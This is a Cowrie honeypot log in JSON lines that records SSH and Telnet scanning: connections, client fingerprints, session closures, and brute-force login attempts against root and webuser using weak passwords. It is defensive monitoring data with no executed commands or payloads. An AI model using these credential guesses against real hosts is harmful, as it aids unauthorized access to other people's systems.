{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.577979Z","src_ip":"176.65.132.129","session":"e5c3e07cc1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.827171Z","src_ip":"176.65.132.129","session":"e5c3e07cc1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"none","message":"login attempt [root/none] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:24.300021Z","src_ip":"20.193.250.100","session":"2d3b18b29741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:24.912804Z","src_ip":"176.65.132.129","session":"e5c3e07cc1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:25.499041Z","src_ip":"20.193.250.100","session":"2d3b18b29741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34906,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ecfc62c03d","protocol":"ssh","message":"New connection: 176.65.132.129:34906 (159.203.135.109:22) [session: 10ecfc62c03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:26.639193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:26.643955Z","src_ip":"176.65.132.129","session":"10ecfc62c03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:26.804522Z","src_ip":"176.65.132.129","session":"10ecfc62c03d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:27.080454Z","src_ip":"176.65.132.129","session":"10ecfc62c03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.802836418151855,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:27.226174Z","src_ip":"152.42.224.71","session":"cf0a61f0efb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:28.165589Z","src_ip":"176.65.132.129","session":"10ecfc62c03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.309937477111816,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:28.815541Z","src_ip":"152.42.224.71","session":"f0d8d9fe1ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":41121,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a9947c4b292","protocol":"ssh","message":"New connection: 213.135.168.228:41121 (159.203.135.109:22) [session: 1a9947c4b292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.674749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.679331Z","src_ip":"213.135.168.228","session":"1a9947c4b292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.814230Z","src_ip":"213.135.168.228","session":"1a9947c4b292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34916,"dst_ip":"159.203.135.109","dst_port":22,"session":"04a6c7087b78","protocol":"ssh","message":"New connection: 176.65.132.129:34916 (159.203.135.109:22) [session: 04a6c7087b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.887437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.892385Z","src_ip":"176.65.132.129","session":"04a6c7087b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:29.976399Z","src_ip":"176.65.132.129","session":"04a6c7087b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:30.226925Z","src_ip":"176.65.132.129","session":"04a6c7087b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isik","message":"login attempt [root/isik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:30.383898Z","src_ip":"213.135.168.228","session":"1a9947c4b292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:31.312524Z","src_ip":"176.65.132.129","session":"04a6c7087b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:31.522354Z","src_ip":"213.135.168.228","session":"1a9947c4b292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"a79fd02e8040","protocol":"ssh","message":"New connection: 13.71.92.229:47902 (10.17.0.5:22) [session: a79fd02e8040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.495466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.500399Z","src_ip":"13.71.92.229","session":"a79fd02e8040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.738890Z","src_ip":"13.71.92.229","session":"a79fd02e8040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34936,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffaa1e8d92bd","protocol":"ssh","message":"New connection: 176.65.132.129:34936 (159.203.135.109:22) [session: ffaa1e8d92bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.947467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.952637Z","src_ip":"176.65.132.129","session":"ffaa1e8d92bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acd5106a69d","protocol":"telnet","message":"New connection: 152.42.224.71:57138 (10.17.0.5:23) [session: 7acd5106a69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:32.964927Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:33.034473Z","src_ip":"176.65.132.129","session":"ffaa1e8d92bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:33.281980Z","src_ip":"176.65.132.129","session":"ffaa1e8d92bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support.26","message":"login attempt [root/support.26] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:33.698250Z","src_ip":"13.71.92.229","session":"a79fd02e8040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":45070,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ee99f48afc","protocol":"ssh","message":"New connection: 45.162.8.14:45070 (10.17.0.5:22) [session: 64ee99f48afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:33.955100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:33.970651Z","src_ip":"45.162.8.14","session":"64ee99f48afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:34.087262Z","src_ip":"45.162.8.14","session":"64ee99f48afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:34.366309Z","src_ip":"176.65.132.129","session":"ffaa1e8d92bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blue123","message":"login attempt [root/blue123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:34.573712Z","src_ip":"45.162.8.14","session":"64ee99f48afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:34.933758Z","src_ip":"13.71.92.229","session":"a79fd02e8040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:35.692941Z","src_ip":"45.162.8.14","session":"64ee99f48afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":58804,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d093b2324c","protocol":"ssh","message":"New connection: 198.199.106.159:58804 (10.17.0.5:22) [session: d2d093b2324c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:35.823726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:35.828578Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:35.901509Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efa2a61b16e","protocol":"ssh","message":"New connection: 176.65.132.129:36924 (159.203.135.109:22) [session: 9efa2a61b16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.108838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.113611Z","src_ip":"176.65.132.129","session":"9efa2a61b16e","protocol":"ssh"}
